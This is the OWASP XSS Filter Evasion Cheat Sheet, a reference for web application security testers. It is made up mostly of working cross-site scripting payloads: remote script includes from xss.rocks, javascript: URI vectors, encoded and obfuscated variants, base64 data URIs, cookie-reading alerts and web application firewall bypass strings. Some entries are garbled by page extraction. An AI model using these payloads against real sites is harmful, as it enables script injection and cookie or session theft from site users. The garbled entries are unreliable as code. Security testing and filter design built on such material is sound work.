XSS Filter Evasion Cheat Sheet
XSS Filter Evasion Cheat Sheet
XSS Filter Evasion Cheat Sheet
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Last revision (mm/dd/yy): 03/6/2018
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Merchandise 1 Introduction
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Community portal 2.1 XSS Locator
Presentations 2.2 XSS Locator (short)
Press
2.3 No Filter Evasion
Projects
2.4 Filter bypass based polyglot
Video
Volunteer 2.5 Image XSS using the JavaScript directive
2.6 No quotes and no semicolon
Reference
2.7 Case insensitive XSS attack vector
Activities
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Attacks 2.8 HTML entities
Code Snippets 2.9 Grave accent obfuscation
Controls
2.10 Malformed A tags
Glossary
2.11 Malformed IMG tags
How To...
Java Project 2.12 fromCharCode
.NET Project 2.13 Default SRC tag to get past filters that check SRC domain
Principles 2.14 Default SRC tag by leaving it empty
Technologies
2.15 Default SRC tag by leaving it out entirely
Threat Agents
2.16 On error alert
Vulnerabilities
2.17 IMG onerror and javascript alert encode
Tools
2.18 Decimal HTML character references
What links here
2.19 Decimal HTML character references without trailing semicolons
Related changes
Special pages 2.20 Hexadecimal HTML character references without trailing semicolons
Printable version 2.21 Embedded tab
Permanent link 2.22 Embedded Encoded tab
Page information 2.23 Embedded newline to break up XSS
2.24 Embedded carriage return to break up XSS
2.25 Null breaks up JavaScript directive
2.26 Spaces and meta chars before the JavaScript in images for XSS
2.27 Non-alpha-non-digit XSS
2.28 Extraneous open brackets
2.29 No closing script tags
2.30 Protocol resolution in script tags
2.31 Half open HTML/JavaScript XSS vector
2.32 Double open angle brackets
2.33 Escaping JavaScript escapes
2.34 End title tag
2.35 INPUT image
2.36 BODY image
2.37 IMG Dynsrc
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2.38 IMG lowsrc
2.39 List-style-image
2.40 VBscript in an image
2.41 Livescript (older versions of Netscape only)
2.42 SVG object tag
2.43 ECMAScript 6
2.44 BODY tag
2.45 Event Handlers
2.46 BGSOUND
2.47 & JavaScript includes
2.48 STYLE sheet
2.49 Remote style sheet
2.50 Remote style sheet part 2
2.51 Remote style sheet part 3
2.52 Remote style sheet part 4
2.53 STYLE tags with broken up JavaScript for XSS
2.54 STYLE attribute using a comment to break up expression
2.55 IMG STYLE with expression
2.56 STYLE tag (Older versions of Netscape only)
2.57 STYLE tag using background-image
2.58 STYLE tag using background
2.59 Anonymous HTML with STYLE attribute
2.60 Local htc file
2.61 US-ASCII encoding
2.62 META
2.62.1 META using data
2.62.2 META with additional URL parameter
2.63 IFRAME
2.64 IFRAME Event based
2.65 FRAME
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2.66 TABLE
2.66.1 TD
2.67 DIV
2.67.1 DIV background-image
2.67.2 DIV background-image with unicoded XSS exploit
2.67.3 DIV background-image plus extra characters
2.67.4 DIV expression
2.68 Downlevel-Hidden block
2.69 BASE tag
2.70 OBJECT tag
2.71 Using an EMBED tag you can embed a Flash movie that contains XSS
2.72 You can EMBED SVG which can contain your XSS vector
2.73 Using ActionScript inside flash can obfuscate your XSS vector
2.74 XML data island with CDATA obfuscation
2.75 Locally hosted XML with embedded JavaScript that is generated using an XML data island
2.76 HTML+TIME in XML
2.77 Assuming you can only fit in a few characters and it filters against ".js"
2.78 SSI (Server Side Includes)
2.79 PHP
2.80 IMG Embedded commands
2.80.1 IMG Embedded commands part II
2.81 Cookie manipulation
2.82 UTF-7 encoding
2.83 XSS using HTML quote encapsulation
2.84 URL string evasion
2.84.1 IP versus hostname
2.84.2 URL encoding
2.84.3 Dword encoding
2.84.4 Hex encoding
2.84.5 Octal encoding
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2.84.6 Mixed encoding
2.84.7 Protocol resolution bypass
2.84.8 Google "feeling lucky" part 1.
2.84.9 Google "feeling lucky" part 2.
2.84.10 Google "feeling lucky" part 3.
2.84.11 Removing cnames
2.84.12 Extra dot for absolute DNS:
2.84.13 JavaScript link location:
2.84.14 Content replace as attack vector
2.85 Character escape sequences
3 Methods to Bypass WAF – Cross-Site Scripting
3.1 Filter Bypass Alert Obfuscation
4 Authors and Primary Editors
5 Contributors
6 Other Cheatsheets
This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The
initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at:
http://ha.ckers.org/xss.html . That site now redirects to its new home here, where we plan to maintain and enhance it. The very first
OWASP Prevention Cheat Sheet, the XSS (Cross Site Scripting) Prevention Cheat Sheet, was inspired by RSnake's XSS Cheat Sheet,
so we can thank him for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather
than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet,
and so the OWASP Cheat Sheet Series was born.
Tests
This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances
regarding filter evasion.
Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the scripts.
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XSS Locator
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use
this URL encoding calculator to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting
the depreciated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output
appreciably:
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
No Filter Evasion
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any
modern browser so they are omitted here):
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
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'">><marquee><img src=x > <plaintext/ > <script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'--
>"></script>
<script>alert(document.cookie)</script>">
<img/id="confirm(1)"/alt="/"src="/" > <img src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg">
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
HTML entities
The semicolons are required for this to work:
<IMG SRC=javascript:alert("XSS")>
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Grave accent obfuscation
If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful
because lots of cross site scripting filters don't know about grave accents:
Malformed A tags
Skip the HREF attribute and get to the meat of the XXS... Submitted by David Cross ~ Verified on Chrome
or Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place
and fix your missing quotes on a URL or script.
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
fromCharCode
If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
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Default SRC tag to get past filters that check SRC domain
This will bypass most SRC domain filters. Inserting javascript in an event method will also apply to any HTML tag type injection that uses
elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like onblur, onclick
giving you an extensive amount of variations for many injections listed here. Submitted by David Cross .
<IMG >
On error alert
<img src=x
> 16:alert('XS�
0083')">
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Decimal HTML character references
all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko
rendering engine mode).
<IMG
SRC=javascript:alert&#
40;
'XSS')>
<IMG
SRC=javascript�
000058a&
#0000108ert('XSS'
1>
<IMG
SRC=javascript:alert('&#x
58SS')>
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Embedded tab
Used to break up the cross site scripting attack:
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
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Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in
the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to
generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173
(the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on
this example:
Spaces and meta chars before the JavaScript in images for XSS
This is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and
makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can
have any char from 1-32 in decimal:
Non-alpha-non-digit XSS
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace
or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by
whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s":
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character
other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign,
making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
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Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just
a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
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<SCRIPT SRC=//xss.rocks/.j>
<IMG SRC="javascript:alert('XSS')"
\";alert('XSS');//
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An alternative, if correct JSON or Javascript escaping has been applied to the embedded data but not HTML encoding, is to finish the
script block and start your own:
</script><script>alert('XSS');</script>
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
INPUT image
BODY image
<BODY BACKGROUND="javascript:alert('XSS')">
IMG Dynsrc
<IMG DYNSRC="javascript:alert('XSS')">
IMG lowsrc
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<IMG LOWSRC="javascript:alert('XSS')">
List-style-image
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the
JavaScript directive. Not a particularly useful cross site scripting vector:
VBscript in an image
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="livescript:[code]">
<svg/>
ECMAScript 6
Set.constructor`alert\x28document.domain\x29```
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BODY tag
Method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). Dan Crowley additionally noted
that you can put a space before the equals sign (" != ">
<BODY >
Event Handlers
It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks
to Rene Ledosquet for the HTML+TIME updates.
The Dottoro Web Reference also has a nice list of events in JavaScript .
1. FSCommand() (attacker can use this when executed from within an embedded Flash object)
2. onAbort() (when user aborts the loading of an image)
3. onActivate() (when object is set as the active element)
4. onAfterPrint() (activates after user prints or previews print job)
5. onAfterUpdate() (activates on data object after updating data in the source object)
6. onBeforeActivate() (fires before the object is set as the active element)
7. onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this
with the execCommand("Copy") function)
8. onBeforeCut() (attacker executes the attack string right before a selection is cut)
9. onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
10. onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state or when an
editable container object is control selected)
11. onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function)
12. onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or
execCommand("Print") function).
13. onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was
spawned from the parent)
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14. onBeforeUpdate() (activates on data object before updating data in the source object)
15. onBegin() (the onbegin event fires immediately when the element's timeline begins)
16. onBlur() (in the case where another popup is loaded and window looses focus)
17. onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach
one side of the window)
18. onCellChange() (fires when data changes in the data provider)
19. onChange() (select, text, or TEXTAREA field loses focus and its value has been modified)
20. onClick() (someone clicks on a form)
21. onContextMenu() (user would need to right click on attack area)
22. onControlSelect() (fires when the user is about to make a control selection of the object)
23. onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command)
24. onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command)
25. onDataAvailable() (user would need to change data in an element, or attacker could perform the same function)
26. onDataSetChanged() (fires when the data set exposed by a data source object changes)
27. onDataSetComplete() (fires to indicate that all data is available from the data source object)
28. onDblClick() (user double-clicks a form element or a link)
29. onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)
30. onDrag() (requires that the user drags an object)
31. onDragEnd() (requires that the user drags an object)
32. onDragLeave() (requires that the user drags an object off a valid location)
33. onDragEnter() (requires that the user drags an object into a valid location)
34. onDragOver() (requires that the user drags an object into a valid location)
35. onDragDrop() (user drops an object (e.g. file) onto the browser window)
36. onDragStart() (occurs when user starts drag operation)
37. onDrop() (user drops an object (e.g. file) onto the browser window)
38. onEnd() (the onEnd event fires when the timeline ends.
39. onError() (loading of a document or image causes an error)
40. onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source
object)
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41. onFilterChange() (fires when a visual filter completes state change)
42. onFinish() (attacker can create the exploit when marquee is finished looping)
43. onFocus() (attacker executes the attack string when the window gets focus)
44. onFocusIn() (attacker executes the attack string when window gets focus)
45. onFocusOut() (attacker executes the attack string when window looses focus)
46. onHashChange() (fires when the fragment identifier part of the document's current address changed)
47. onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
48. onInput() (the text content of an element is changed through the user interface)
49. onKeyDown() (user depresses a key)
50. onKeyPress() (user presses or holds down a key)
51. onKeyUp() (user releases a key)
52. onLayoutComplete() (user would have to print or print preview)
53. onLoad() (attacker executes the attack string after the window loads)
54. onLoseCapture() (can be exploited by the releaseCapture() method)
55. onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing)
56. onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
57. onMessage() (fire when the document received a message)
58. onMouseDown() (the attacker would need to get the user to click on an image)
59. onMouseEnter() (cursor moves over an object or area)
60. onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)
61. onMouseMove() (the attacker would need to get the user to mouse over an image or table)
62. onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
63. onMouseOver() (cursor moves over an object or area)
64. onMouseUp() (the attacker would need to get the user to click on an image)
65. onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
66. onMove() (user or attacker would move the page)
67. onMoveEnd() (user or attacker would move the page)
68. onMoveStart() (user or attacker would move the page)
69. onOffline() (occurs if the browser is working in online mode and it starts to work offline)
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70. onOnline() (occurs if the browser is working in offline mode and it starts to work online)
71. onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
72. onPaste() (user would need to paste or attacker could use the execCommand("Paste") function)
73. onPause() (the onpause event fires on every element that is active when the timeline pauses, including the body element)
74. onPopState() (fires when user navigated the session history)
75. onProgress() (attacker would use this as a flash movie was loading)
76. onPropertyChange() (user or attacker would need to change an element property)
77. onReadyStateChange() (user or attacker would need to change an element property)
78. onRedo() (user went forward in undo transaction history)
79. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
80. onReset() (user or attacker resets a form)
81. onResize() (user would resize the window; attacker could auto initialize with something like:
<SCRIPT>self.resizeTo(500,400);</SCRIPT> )
82. onResizeEnd() (user would resize the window; attacker could auto initialize with something like:
<SCRIPT>self.resizeTo(500,400);</SCRIPT> )
83. onResizeStart() (user would resize the window; attacker could auto initialize with something like:
<SCRIPT>self.resizeTo(500,400);</SCRIPT> )
84. onResume() (the onresume event fires on every element that becomes active when the timeline resumes, including the body
element)
85. onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play
backward)
86. onRowsEnter() (user or attacker would need to change a row in a data source)
87. onRowExit() (user or attacker would need to change a row in a data source)
88. onRowDelete() (user or attacker would need to delete a row in a data source)
89. onRowInserted() (user or attacker would need to insert a row in a data source)
90. onScroll() (user would need to scroll, or attacker could use the scrollBy() function)
91. onSeek() (the onreverse event fires when the timeline is set to play in any direction other than forward)
92. onSelect() (user needs to select some text - attacker could auto initialize with something like:
window.document.execCommand("SelectAll"); )
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93. onSelectionChange() (user needs to select some text - attacker could auto initialize with something like:
window.document.execCommand("SelectAll"); )
94. onSelectStart() (user needs to select some text - attacker could auto initialize with something like:
window.document.execCommand("SelectAll"); )
95. onStart() (fires at the beginning of each marquee loop)
96. onStop() (user would need to press the stop button or leave the webpage)
97. onStorage() (storage area changed)
98. onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
99. onSubmit() (requires attacker or user submits a form)
100. onTimeError() (user or attacker sets a time property, such as dur, to an invalid value)
101. onTrackChange() (user or attacker changes track in a playList)
102. onUndo() (user went backward in undo transaction history)
103. onUnload() (as the user clicks any link or presses the back button or attacker forces a click)
104. onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive
Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
105. seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing
from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
STYLE sheet
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<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>
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Remote style sheet part 4
This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape
assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<XSS STYLE="xss:expression(alert('XSS'))">
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US-ASCII encoding
US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many
content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against
web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that
transmits in US-ASCII encoding.
¼script¾alert(¢XSS¢)¼/script¾
META
The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you
need to get rid of referring URLs:
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<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
IFRAME
If iframes are allowed there are a lot of other XSS problems as well:
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
FRAME
Frames have the same sorts of XSS problems as iframes
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
TABLE
<TABLE BACKGROUND="javascript:alert('XSS')">
TD
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Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
DIV
DIV background-image
<DIV STYLE="background-
image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065
\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
DIV expression
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A variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":
Downlevel-Hidden block
Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block
to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment
tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:
BASE tag
Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and
your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than
full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as
there are two to begin the comment this will work):
<BASE HREF="javascript:alert('XSS');//">
OBJECT tag
If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually
an HTML file that can contain your XSS:
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Using an EMBED tag you can embed a Flash movie that contains XSS
Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank
you to Jonathan Vanasco for the info).:
EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS.
Click here for a demo. If you add the attributes allowScriptAccess="never" and
allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the
info).:
org/xss.swf" AllowScriptAccess="always"></EMBED>
You can EMBED SVG which can contain your XSS vector
This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash
turned on or installed. Thanks to nEUrOO for this one.
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH
A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv
MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs
aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw
IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh
TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
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XML data island with CDATA obfuscation
This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:
Locally hosted XML with embedded JavaScript that is generated using an XML data island
This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site
scripting vector. You can see the result here:
HTML+TIME in XML
This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode
and remember that you need to be between HTML and BODY tags for this to work:
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
Assuming you can only fit in a few characters and it filters against ".js"
you can rename your JavaScript file to an image as an XSS vector:
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<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
PHP
Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably
much more dire issues:
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
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<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
Cookie manipulation
Admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There
are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to
the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them
as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):
UTF-7 encoding
If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited
with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's
browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering
engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely
unsupported. Watchfire found this hole in Google's custom 404 script.:
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<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-
SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by way of a regex filter "/<script((\s+\w+(\s*=\s*(?:"
(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen this regex in the wild):
Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to
discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow <SCRIPT> tags but not
remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags):
And one last XSS attack to evade, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" using grave accents (again, doesn't
work in Firefox):
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<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>
Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to
terminate a parameter string improperly:
This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>
IP versus hostname
<A HREF="http://66.102.7.147/">XSS</A>
URL encoding
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
Dword encoding
(Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):
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<A HREF="http://1113982867/">XSS</A>
Hex encoding
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and
since the hex number is between 0 and F the leading zero on the third hex quotet is not required):
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
Octal encoding
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
Mixed encoding
Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and
newlines only work if this is encapsulated with quotes:
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
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<A HREF="//www.google.com/">XSS</A>
<A HREF="//google">XSS</A>
<A HREF="http://ha.ckers.org@google">XSS</A>
<A HREF="http://google:ha.ckers.org">XSS</A>
Removing cnames
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When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have
this set up properly):
<A HREF="http://google.com/">XSS</A>
<A HREF="http://www.google.com./">XSS</A>
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
<A HREF="http://www.google.com/ogle.com/">XSS</A>
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If an attacker managed to push XSS through the filter, WAF wouldn’t be able to prevent the attack conduction.
• Reflected XSS in Javascript
• DOM-based XSS
...
header('Location: '.$_GET['param']);
...
As well as:
...
header('Refresh: 0; URL='.$_GET['param']);
...
/?param=javascript:alert(document.cookie)
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• This request will pass through the WAF and an XSS attack will be conducted in certain browsers.
/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
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src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
</iframe>
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)
Contributors
Adam Lange
Mishra Dhiraj
Other Cheatsheets
V-T-E Cheat Sheets [Collapse]
Developer / Builder 3rd Party Javascript Management · Access Control · AJAX Security Cheat Sheet · Authentication (ES) ·
Bean Validation Cheat Sheet · Choosing and Using Security Questions · Clickjacking Defense ·
Credential Stuffing Prevention Cheat Sheet · Cross-Site Request Forgery (CSRF) Prevention · Cryptographic Storage ·
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C-Based Toolchain Hardening · Deserialization · DOM based XSS Prevention · Forgot Password · HTML5 Security ·
HTTP Strict Transport Security · Injection Prevention Cheat Sheet · Injection Prevention Cheat Sheet in Java ·
JSON Web Token (JWT) Cheat Sheet for Java · Input Validation · Insecure Direct Object Reference Prevention · JAAS ·
Key Management · LDAP Injection Prevention · Logging · Mass Assignment Cheat Sheet · .NET Security ·
OS Command Injection Defense Cheat Sheet · OWASP Top Ten · Password Storage · Pinning · Query Parameterization ·
REST Security · Ruby on Rails · Session Management · SAML Security · SQL Injection Prevention ·
Transaction Authorization · Transport Layer Protection · Unvalidated Redirects and Forwards · User Privacy Protection ·
Web Service Security · XSS (Cross Site Scripting) Prevention · XML External Entity (XXE) Prevention Cheat Sheet
Attack Surface Analysis · REST Assessment · Web Application Security Testing · XML Security Cheat Sheet ·
Assessment / Breaker
XSS Filter Evasion
Application Security Architecture · Business Logic Security · Content Security Policy · Denial of Service Cheat Sheet ·
Draft and Beta Grails Secure Code Review · IOS Application Security Testing · PHP Security · Regular Expression Security Cheatsheet ·
Secure Coding · Secure SDLC · Threat Modeling
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